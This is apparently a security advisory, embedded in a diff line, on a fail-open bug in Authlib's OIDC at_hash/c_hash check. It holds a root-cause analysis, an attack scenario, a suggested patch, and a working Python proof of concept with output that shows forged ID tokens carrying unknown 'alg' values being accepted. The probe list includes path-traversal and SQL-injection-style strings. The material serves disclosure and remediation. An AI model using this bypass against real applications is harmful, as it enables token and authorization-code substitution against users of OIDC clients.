+ "details": "## 1. Executive Summary\n\nA critical library-level vulnerability was identified in the **Authlib** Python library concerning the validation of OpenID Connect (OIDC) ID Tokens. Specifically, the internal hash verification logic (`_verify_hash`) responsible for validating the `at_hash` (Access Token Hash) and `c_hash` (Authorization Code Hash) claims exhibits a **fail-open** behavior when encountering an unsupported or unknown cryptographic algorithm. \n\nThis flaw allows an attacker to bypass mandatory integrity protections by supplying a forged ID Token with a deliberately unrecognized `alg` header parameter. The library intercepts the unsupported state and silently returns `True` (validation passed), inherently violating fundamental cryptographic design principles and direct OIDC specifications.\n\n---\n\n## 2. Technical Details & Root Cause\n\nThe vulnerability resides within the `_verify_hash(signature, s, alg)` function in `authlib/oidc/core/claims.py`:\n\n```python\ndef _verify_hash(signature, s, alg):\n hash_value = create_half_hash(s, alg)\n if not hash_value: # ← VULNERABILITY: create_half_hash returns None for unknown algorithms\n return True # ← BYPASS: The verification silently passes\n return hmac.compare_digest(hash_value, to_bytes(signature))\n```\n\nWhen an unsupported algorithm string (e.g., `\"XX999\"`) is processed by the helper function `create_half_hash` in `authlib/oidc/core/util.py`, the internal `getattr(hashlib, hash_type, None)` call fails, and the function correctly returns `None`. \n\nHowever, instead of triggering a `Fail-Closed` cryptographic state (raising an exception or returning `False`), the `_verify_hash` function misinterprets the `None` return value and explicitly returns `True`. \n\nBecause developers rely on the standard `.validate()` method provided by Authlib's `IDToken` class—which internally calls this flawed function—there is **no mechanism for the implementing developer to prevent this bypass**. It is a strict library-level liability.\n\n---\n\n## 3. Attack Scenario\n\nThis vulnerability exposes applications utilizing Hybrid or Implicit OIDC flows to **Token Substitution Attacks**.\n\n1. An attacker initiates an OIDC flow and receives a legitimately signed ID Token, but wishes to substitute the bound Access Token (`access_token`) or Authorization Code (`code`) with a malicious or mismatched one.\n2. The attacker re-crafts the JWT header of the ID Token, setting the `alg` parameter to an arbitrary, unsupported value (e.g., `{\"alg\": \"CUSTOM_ALG\"}`).\n3. The server uses Authlib to validate the incoming token. The JWT signature validation might pass (or be previously cached/bypassed depending on state), progressing to the claims validation phase.\n4. Authlib attempts to validate the `at_hash` or `c_hash` claims. \n5. Because `\"CUSTOM_ALG\"` is unsupported by `hashlib`, `create_half_hash` returns `None`.\n6. Authlib's `_verify_hash` receives `None` and silently returns `True`.\n7. **Result:** The application accepts the substituted/malicious Access Token or Authorization Code without any cryptographic verification of the binding hash.\n\n---\n\n## 4. Specification & Standards Violations\n\nThis explicit fail-open behavior violates multiple foundational RFCs and Core Specifications. A secure cryptographic library **MUST** fail and reject material when encountering unsupported cryptographic parameters.\n\n**OpenID Connect Core 1.0**\n* **§ 3.2.2.9 (Access Token Validation):** \"If the ID Token contains an `at_hash` Claim, the Client MUST verify that the hash value of the Access Token matches the value of the `at_hash` Claim.\" Silencing the validation check natively contradicts this absolute requirement.\n* **§ 3.3.2.11 (Authorization Code Validation):** Identically mandates the verification of the `c_hash` Claim.\n\n**IETF JSON Web Token (JWT) Best Current Practices (BCP)**\n* **RFC 8725 § 3.1.1:** \"Libraries MUST NOT trust the signature without verifying it according to the algorithm... if validation fails, the token MUST be rejected.\" Authlib's implementation effectively \"trusts\" the hash when it cannot verify the algorithm.\n\n**IETF JSON Web Signature (JWS)**\n* **RFC 7515 § 5.2 (JWS Validation):** Cryptographic validations must reject the payload if the specified parameters are unsupported. By returning `True` for an `UnsupportedAlgorithm` state, Authlib violates robust application security logic.\n\n---\n\n## 5. Remediation Recommendation\n\nThe `_verify_hash` function must be patched to enforce a `Fail-Closed` posture. If an algorithm is unsupported and cannot produce a hash for comparison, the validation **must** fail immediately.\n\n**Suggested Patch (`authlib/oidc/core/claims.py`):**\n\n```python\ndef _verify_hash(signature, s, alg):\n hash_value = create_half_hash(s, alg)\n if hash_value is None:\n # FAIL-CLOSED: The algorithm is unsupported, reject the token.\n return False\n return hmac.compare_digest(hash_value, to_bytes(signature))\n```\n\n---\n\n## 6. Proof of Concept (PoC)\n\nThe following standalone script mathematically demonstrates the vulnerability across the Root Cause, Implicit Flow (`at_hash`), Hybrid Flow (`c_hash`), and the entire attack surface. It utilizes Authlib's own validation logic to prove the Fail-Open behavior.```bash\n\n```bash\npython3 -m venv venv\nsource venv/bin/activate\npip install authlib cryptography\npython3 -c \"import authlib; print(authlib.__version__)\"\n# → 1.6.8\n```\n\n```python\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@title OIDC at_hash / c_hash Verification Bypass\n@affected authlib <= 1.6.8\n@file authlib/oidc/core/claims.py :: _verify_hash()\n@notice _verify_hash() retorna True cuando create_half_hash() retorna\n None (alg no soportado), causando Fail-Open en la verificacion\n de binding entre ID Token y Access Token / Authorization Code.\n@dev Reproduce el bypass directamente contra el codigo de authlib\n sin mocks. Todas las llamadas son al modulo real instalado.\n\"\"\"\n\nimport hmac\nimport hashlib\nimport base64\nimport time\n\nimport authlib\nfrom authlib.common.encoding import to_bytes\nfrom authlib.oidc.core.util import create_half_hash\nfrom authlib.oidc.core.claims import IDToken, HybridIDToken\nfrom authlib.oidc.core.claims import _verify_hash as authlib_verify_hash\n\n# ─── helpers ──────────────────────────────────────────────────────────────────\n\nR = \"\\033[0m\"\nRED = \"\\033[91m\"\nGRN = \"\\033[92m\"\nYLW = \"\\033[93m\"\nCYN = \"\\033[96m\"\nBLD = \"\\033[1m\"\nDIM = \"\\033[2m\"\n\ndef header(title):\n print(f\"\\n{CYN}{'─' * 64}{R}\")\n print(f\"{BLD}{title}{R}\")\n print(f\"{CYN}{'─' * 64}{R}\")\n\ndef ok(msg): print(f\" {GRN}[OK] {R}{msg}\")\ndef fail(msg): print(f\" {RED}[BYPASS] {R}{BLD}{msg}{R}\")\ndef info(msg): print(f\" {DIM} {msg}{R}\")\n\ndef at_hash_correct(token: str, alg: str) -> str:\n \"\"\"\n @notice Computa at_hash segun OIDC Core 1.0 s3.2.2.9.\n @param token Access token ASCII\n @param alg Algoritmo del header del ID Token\n @return str at_hash en Base64url sin padding\n \"\"\"\n fn = {\"256\": hashlib.sha256, \"384\": hashlib.sha384, \"512\": hashlib.sha512}\n digest = fn.get(alg[-3:], hashlib.sha256)(token.encode()).digest()\n return base64.urlsafe_b64encode(digest[:len(digest)//2]).rstrip(b\"=\").decode()\n\n\ndef _verify_hash_patched(signature: str, s: str, alg: str) -> bool:\n \"\"\"\n @notice Version corregida de _verify_hash() con semantica Fail-Closed.\n @dev Fix: `if not hash_value` -> `if hash_value is None`\n None es falsy en Python, pero b\"\" no lo es. El chequeo original\n no distingue entre \"algoritmo no soportado\" y \"hash vacio\".\n \"\"\"\n hash_value = create_half_hash(s, alg)\n if hash_value is None:\n return False\n return hmac.compare_digest(hash_value, to_bytes(signature))\n\n# ─── test 1: root cause ───────────────────────────────────────────────────────\n\ndef test_root_cause():\n \"\"\"\n @notice Demuestra que create_half_hash() retorna None para alg desconocido\n y que _verify_hash() interpreta ese None como verificacion exitosa.\n \"\"\"\n header(\"TEST 1 - Root Cause: create_half_hash() + _verify_hash()\")\n\n token = \"real_access_token_from_AS\"\n fake_sig = \"AAAAAAAAAAAAAAAAAAAAAA\"\n alg = \"CUSTOM_ALG\"\n\n half_hash = create_half_hash(token, alg)\n info(f\"create_half_hash(token, {alg!r}) -> {half_hash!r} (None = alg no soportado)\")\n\n result_vuln = authlib_verify_hash(fake_sig, token, alg)\n result_patched = _verify_hash_patched(fake_sig, token, alg)\n\n print()\n if result_vuln:\n fail(f\"authlib _verify_hash() retorno True con firma falsa y alg={alg!r}\")\n else:\n ok(f\"authlib _verify_hash() retorno False\")\n\n if not result_patched:\n ok(f\"_verify_hash_patched() retorno False (fail-closed correcto)\")\n else:\n fail(f\"_verify_hash_patched() retorno True\")\n\n# ─── test 2: IDToken.validate_at_hash() bypass ────────────────────────────────\n\ndef test_at_hash_bypass():\n \"\"\"\n @notice Demuestra el bypass end-to-end en IDToken.validate_at_hash().\n El atacante modifica el header alg del JWT a un valor no soportado.\n validate_at_hash() no levanta excepcion -> token aceptado.\n\n @dev Flujo real de authlib:\n validate_at_hash() -> _verify_hash(at_hash, access_token, alg)\n -> create_half_hash(access_token, \"CUSTOM_ALG\") -> None\n -> `if not None` -> True -> no InvalidClaimError -> BYPASS\n \"\"\"\n header(\"TEST 2 - IDToken.validate_at_hash() Bypass (Implicit / Hybrid Flow)\")\n\n real_token = \"ya29.LEGITIMATE_token_from_real_AS\"\n evil_token = \"ya29.MALICIOUS_token_under_attacker_control\"\n fake_at_hash = \"FAAAAAAAAAAAAAAAAAAAA\"\n\n # --- caso A: token legitimo con alg correcto ---\n correct_hash = at_hash_correct(real_token, \"RS256\")\n token_legit = IDToken(\n {\"iss\": \"https://idp.example.com\", \"sub\": \"user\", \"aud\": \"client\",\n \"exp\": int(time.time()) + 3600, \"iat\": int(time.time()),\n \"at_hash\": correct_hash},\n {\"access_token\": real_token}\n )\n token_legit.header = {\"alg\": \"RS256\"}\n\n try:\n token_legit.validate_at_hash()\n ok(f\"Caso A (legitimo, RS256): at_hash={correct_hash} -> aceptado\")\n except Exception as e:\n fail(f\"Caso A rechazo el token legitimo: {e}\")\n\n # --- caso B: token malicioso con alg forjado ---\n token_forged = IDToken(\n {\"iss\": \"https://idp.example.com\", \"sub\": \"user\", \"aud\": \"client\",\n \"exp\": int(time.time()) + 3600, \"iat\": int(time.time()),\n \"at_hash\": fake_at_hash},\n {\"access_token\": evil_token}\n )\n token_forged.header = {\"alg\": \"CUSTOM_ALG\"}\n\n try:\n token_forged.validate_at_hash()\n fail(f\"Caso B (atacante, alg=CUSTOM_ALG): at_hash={fake_at_hash} -> BYPASS exitoso\")\n info(f\"access_token del atacante aceptado: {evil_token}\")\n except Exception as e:\n ok(f\"Caso B rechazado correctamente: {e}\")\n\n# ─── test 3: HybridIDToken.validate_c_hash() bypass ──────────────────────────\n\ndef test_c_hash_bypass():\n \"\"\"\n @notice Mismo bypass pero para c_hash en Hybrid Flow.\n Permite Authorization Code Substitution Attack.\n @dev OIDC Core 1.0 s3.3.2.11 exige verificacion obligatoria de c_hash.\n Authlib la omite cuando el alg es desconocido.\n \"\"\"\n header(\"TEST 3 - HybridIDToken.validate_c_hash() Bypass (Hybrid Flow)\")\n\n real_code = \"SplxlOBeZQQYbYS6WxSbIA\"\n evil_code = \"ATTACKER_FORGED_AUTH_CODE\"\n fake_chash = \"ZZZZZZZZZZZZZZZZZZZZZZ\"\n\n token = HybridIDToken(\n {\"iss\": \"https://idp.example.com\", \"sub\": \"user\", \"aud\": \"client\",\n \"exp\": int(time.time()) + 3600, \"iat\": int(time.time()),\n \"nonce\": \"n123\", \"at_hash\": \"AAAA\", \"c_hash\": fake_chash},\n {\"code\": evil_code, \"access_token\": \"sometoken\"}\n )\n token.header = {\"alg\": \"XX9999\"}\n\n try:\n token.validate_c_hash()\n fail(f\"c_hash={fake_chash!r} aceptado con alg=XX9999 -> Authorization Code Substitution posible\")\n info(f\"code del atacante aceptado: {evil_code}\")\n except Exception as e:\n ok(f\"Rechazado correctamente: {e}\")\n\n# ─── test 4: superficie de ataque ─────────────────────────────────────────────\n\ndef test_attack_surface():\n \"\"\"\n @notice Mapea todos los valores de alg que disparan el bypass.\n @dev create_half_hash hace: getattr(hashlib, f\"sha{alg[2:]}\", None)\n Cualquier string que no resuelva a un atributo de hashlib -> None -> bypass.\n \"\"\"\n header(\"TEST 4 - Superficie de Ataque\")\n\n token = \"test_token\"\n fake_sig = \"AAAAAAAAAAAAAAAAAAAAAA\"\n\n vectors = [\n \"CUSTOM_ALG\", \"XX9999\", \"none\", \"None\", \"\", \"RS\", \"SHA256\",\n \"HS0\", \"EdDSA256\", \"PS999\", \"RS 256\", \"../../../etc\", \"' OR '1'='1\",\n ]\n\n print(f\" {'alg':<22} {'half_hash':<10} resultado\")\n print(f\" {'-'*22} {'-'*10} {'-'*20}\")\n\n for alg in vectors:\n hv = create_half_hash(token, alg)\n result = authlib_verify_hash(fake_sig, token, alg)\n hv_str = \"None\" if hv is None else \"bytes\"\n res_str = f\"{RED}BYPASS{R}\" if result else f\"{GRN}OK{R}\"\n print(f\" {alg!r:<22} {hv_str:<10} {res_str}\")\n\n# ─── main ─────────────────────────────────────────────────────────────────────\n\nif __name__ == \"__main__\":\n print(f\"\\n{BLD}authlib {authlib.__version__} - OIDC Hash Verification Bypass PoC{R}\")\n print(f\"authlib/oidc/core/claims.py :: _verify_hash() \\n\")\n\n test_root_cause()\n test_at_hash_bypass()\n test_c_hash_bypass()\n test_attack_surface()\n\n print(f\"\\n{DIM}Fix: `if not hash_value` -> `if hash_value is None` en _verify_hash(){R}\\n\")\n```\n\n---\n\n## Output\n\n```bash\nuthlib 1.6.8 - OIDC Hash Verification Bypass PoC\nauthlib/oidc/core/claims.py :: _verify_hash() \n\n\n────────────────────────────────────────────────────────────────\nTEST 1 - Root Cause: create_half_hash() + _verify_hash()\n────────────────────────────────────────────────────────────────\n create_half_hash(token, 'CUSTOM_ALG') -> None (None = alg no soportado)\n\n [BYPASS] authlib _verify_hash() retorno True con firma falsa y alg='CUSTOM_ALG'\n [OK] _verify_hash_patched() retorno False (fail-closed correcto)\n\n────────────────────────────────────────────────────────────────\nTEST 2 - IDToken.validate_at_hash() Bypass (Implicit / Hybrid Flow)\n────────────────────────────────────────────────────────────────\n [OK] Caso A (legitimo, RS256): at_hash=gh_beqqliVkRPAXdOz2Gbw -> aceptado\n [BYPASS] Caso B (atacante, alg=CUSTOM_ALG): at_hash=FAAAAAAAAAAAAAAAAAAAA -> BYPASS exitoso\n access_token del atacante aceptado: ya29.MALICIOUS_token_under_attacker_control\n\n────────────────────────────────────────────────────────────────\nTEST 3 - HybridIDToken.validate_c_hash() Bypass (Hybrid Flow)\n────────────────────────────────────────────────────────────────\n [BYPASS] c_hash='ZZZZZZZZZZZZZZZZZZZZZZ' aceptado con alg=XX9999 -> Authorization Code Substitution posible\n code del atacante aceptado: ATTACKER_FORGED_AUTH_CODE\n\n────────────────────────────────────────────────────────────────\nTEST 4 - Superficie de Ataque\n────────────────────────────────────────────────────────────────\n alg half_hash resultado\n ---------------------- ---------- --------------------\n 'CUSTOM_ALG' None BYPASS\n 'XX9999' None BYPASS\n 'none' None BYPASS\n 'None' None BYPASS\n '' None BYPASS\n 'RS' None BYPASS\n 'SHA256' None BYPASS\n 'HS0' None BYPASS\n 'EdDSA256' None BYPASS\n 'PS999' None BYPASS\n 'RS 256' None BYPASS\n '../../../etc' None BYPASS\n \"' OR '1'='1\" None BYPASS\n\nFix: `if not hash_value` -> `if hash_value is None` en _verify_hash()\n```",
0 commit comments